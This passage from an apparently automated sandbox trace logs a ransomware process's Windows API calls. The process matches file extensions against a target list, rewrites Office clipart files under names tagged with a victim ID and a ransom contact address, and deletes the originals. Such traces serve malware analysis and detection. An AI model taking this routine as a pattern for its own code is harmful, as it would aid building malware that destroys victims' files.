files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1 [0048.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0048.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0048.520] lstrlenW (lpString=".doc") returned 4 [0048.520] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0048.520] lstrlenW (lpString=".docx") returned 5 [0048.520] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0048.520] lstrlenW (lpString=".pdf") returned 4 [0048.520] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0048.520] lstrlenW (lpString=".xls") returned 4 [0048.520] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0048.521] lstrlenW (lpString=".xlsx") returned 5 [0048.521] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0048.521] lstrlenW (lpString=".ppt") returned 4 [0048.521] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0048.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0048.521] lstrlenW (lpString=".zip") returned 4 [0048.521] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0048.521] lstrlenW (lpString=".rar") returned 4 [0048.521] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0048.521] lstrlenW (lpString=".bz2") returned 4 [0048.521] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0048.521] lstrlenW (lpString=".7z") returned 3 [0048.521] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0048.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0048.521] lstrlenW (lpString=".dbf") returned 4 [0048.521] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0048.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0048.521] lstrlenW (lpString=".1cd") returned 4 [0048.521] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0048.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0048.521] lstrlenW (lpString=".jpg") returned 4 [0048.521] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0048.523] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.524] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.525] GetLastError () returned 0x0 [0048.525] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x3a19, lpOverlapped=0x0) returned 1 [0048.575] WriteFile (in: hFile=0x20c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0048.576] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.576] WriteFile (in: hFile=0x20c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.576] SetEndOfFile (hFile=0x20c) returned 1 [0048.576] CloseHandle (hObject=0x20c) returned 1 [0048.576] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.576] SetEndOfFile (hFile=0x1d8) returned 1 [0048.577] CloseHandle (hObject=0x1d8) returned 1 [0048.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0048.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0048.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0048.577] lstrlenW (lpString=".doc") returned 4 [0048.578] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.578] lstrlenW (lpString=".docx") returned 5 [0048.578] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.578] lstrlenW (lpString=".pdf") returned 4 [0048.578] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.578] lstrlenW (lpString=".xls") returned 4 [0048.578] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.578] lstrlenW (lpString=".xlsx") returned 5 [0048.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.578] lstrlenW (lpString=".ppt") returned 4 [0048.578] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0048.578] lstrlenW (lpString=".zip") returned 4 [0048.578] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.578] lstrlenW (lpString=".rar") returned 4 [0048.578] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.578] lstrlenW (lpString=".bz2") returned 4 [0048.578] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.578] lstrlenW (lpString=".7z") returned 3 [0048.578] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0048.578] lstrlenW (lpString=".dbf") returned 4 [0048.578] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0048.578] lstrlenW (lpString=".1cd") returned 4 [0048.578] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0048.578] lstrlenW (lpString=".jpg") returned 4 [0048.578] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.579] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=6684) returned 1 [0048.579] CloseHandle (hObject=0x1d8) returned 1 [0048.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0048.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0048.579] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.579] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.579] GetLastError () returned 0x0 [0048.579] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x1a1c, lpOverlapped=0x0) returned 1 [0048.582] WriteFile (in: hFile=0x20c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1a20, lpOverlapped=0x0) returned 1 [0048.583] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.583] WriteFile (in: hFile=0x20c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.583] SetEndOfFile (hFile=0x20c) returned 1 [0048.584] CloseHandle (hObject=0x20c) returned 1 [0048.584] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.584] SetEndOfFile (hFile=0x1d8) returned 1 [0048.584] CloseHandle (hObject=0x1d8) returned 1 [0048.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0048.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0048.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0048.585] lstrlenW (lpString=".doc") returned 4 [0048.585] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.585] lstrlenW (lpString=".docx") returned 5 [0048.585] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.585] lstrlenW (lpString=".pdf") returned 4 [0048.585] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.585] lstrlenW (lpString=".xls") returned 4 [0048.585] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.585] lstrlenW (lpString=".xlsx") returned 5 [0048.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.585] lstrlenW (lpString=".ppt") returned 4 [0048.585] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0048.585] lstrlenW (lpString=".zip") returned 4 [0048.585] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.585] lstrlenW (lpString=".rar") returned 4 [0048.585] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.585] lstrlenW (lpString=".bz2") returned 4 [0048.586] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.586] lstrlenW (lpString=".7z") returned 3 [0048.586] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0048.586] lstrlenW (lpString=".dbf") returned 4 [0048.586] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0048.586] lstrlenW (lpString=".1cd") returned 4 [0048.586] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0048.586] lstrlenW (lpString=".jpg") returned 4 [0048.586] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.587] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=3251) returned 1 [0048.587] CloseHandle (hObject=0x1d8) returned 1 [0048.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0048.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0048.587] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.587] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.588] GetLastError () returned 0x0 [0048.588] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xcb3, lpOverlapped=0x0) returned 1 [0048.593] WriteFile (in: hFile=0x20c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0048.594] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.594] WriteFile (in: hFile=0x20c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.594] SetEndOfFile (hFile=0x20c) returned 1 [0048.594] CloseHandle (hObject=0x20c) returned 1 [0048.595] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.595] SetEndOfFile (hFile=0x1d8) returned 1 [0048.595] CloseHandle (hObject=0x1d8) returned 1 [0048.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0048.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.596] lstrlenW (lpString=".doc") returned 4 [0048.596] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.596] lstrlenW (lpString=".docx") returned 5 [0048.596] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.596] lstrlenW (lpString=".pdf") returned 4 [0048.596] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.596] lstrlenW (lpString=".xls") returned 4 [0048.596] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.596] lstrlenW (lpString=".xlsx") returned 5 [0048.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.596] lstrlenW (lpString=".ppt") returned 4 [0048.596] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.596] lstrlenW (lpString=".zip") returned 4 [0048.596] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.596] lstrlenW (lpString=".rar") returned 4 [0048.596] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.596] lstrlenW (lpString=".bz2") returned 4 [0048.596] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.596] lstrlenW (lpString=".7z") returned 3 [0048.596] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.596] lstrlenW (lpString=".dbf") returned 4 [0048.597] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.597] lstrlenW (lpString=".1cd") returned 4 [0048.597] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0048.597] lstrlenW (lpString=".jpg") returned 4 [0048.597] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.597] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=8097) returned 1 [0048.597] CloseHandle (hObject=0x1d8) returned 1 [0048.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0048.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0048.597] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.597] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.598] GetLastError () returned 0x0 [0048.598] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x1fa1, lpOverlapped=0x0) returned 1 [0048.601] WriteFile (in: hFile=0x20c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1fb0, lpOverlapped=0x0) returned 1 [0048.602] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.602] WriteFile (in: hFile=0x20c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.602] SetEndOfFile (hFile=0x20c) returned 1 [0048.602] CloseHandle (hObject=0x20c) returned 1 [0048.603] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.603] SetEndOfFile (hFile=0x1d8) returned 1 [0048.603] CloseHandle (hObject=0x1d8) returned 1 [0048.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0048.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0048.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0048.604] lstrlenW (lpString=".doc") returned 4 [0048.604] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.604] lstrlenW (lpString=".docx") returned 5 [0048.604] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.604] lstrlenW (lpString=".pdf") returned 4 [0048.604] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.604] lstrlenW (lpString=".xls") returned 4 [0048.604] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.604] lstrlenW (lpString=".xlsx") returned 5 [0048.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.604] lstrlenW (lpString=".ppt") returned 4 [0048.604] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0048.604] lstrlenW (lpString=".zip") returned 4 [0048.604] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.604] lstrlenW (lpString=".rar") returned 4 [0048.605] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.605] lstrlenW (lpString=".bz2") returned 4 [0048.605] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.605] lstrlenW (lpString=".7z") returned 3 [0048.605] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0048.605] lstrlenW (lpString=".dbf") returned 4 [0048.605] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0048.605] lstrlenW (lpString=".1cd") returned 4 [0048.605] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0048.605] lstrlenW (lpString=".jpg") returned 4 [0048.605] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.605] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=7686) returned 1 [0048.605] CloseHandle (hObject=0x1d8) returned 1 [0048.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0048.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0048.605] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.606] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), 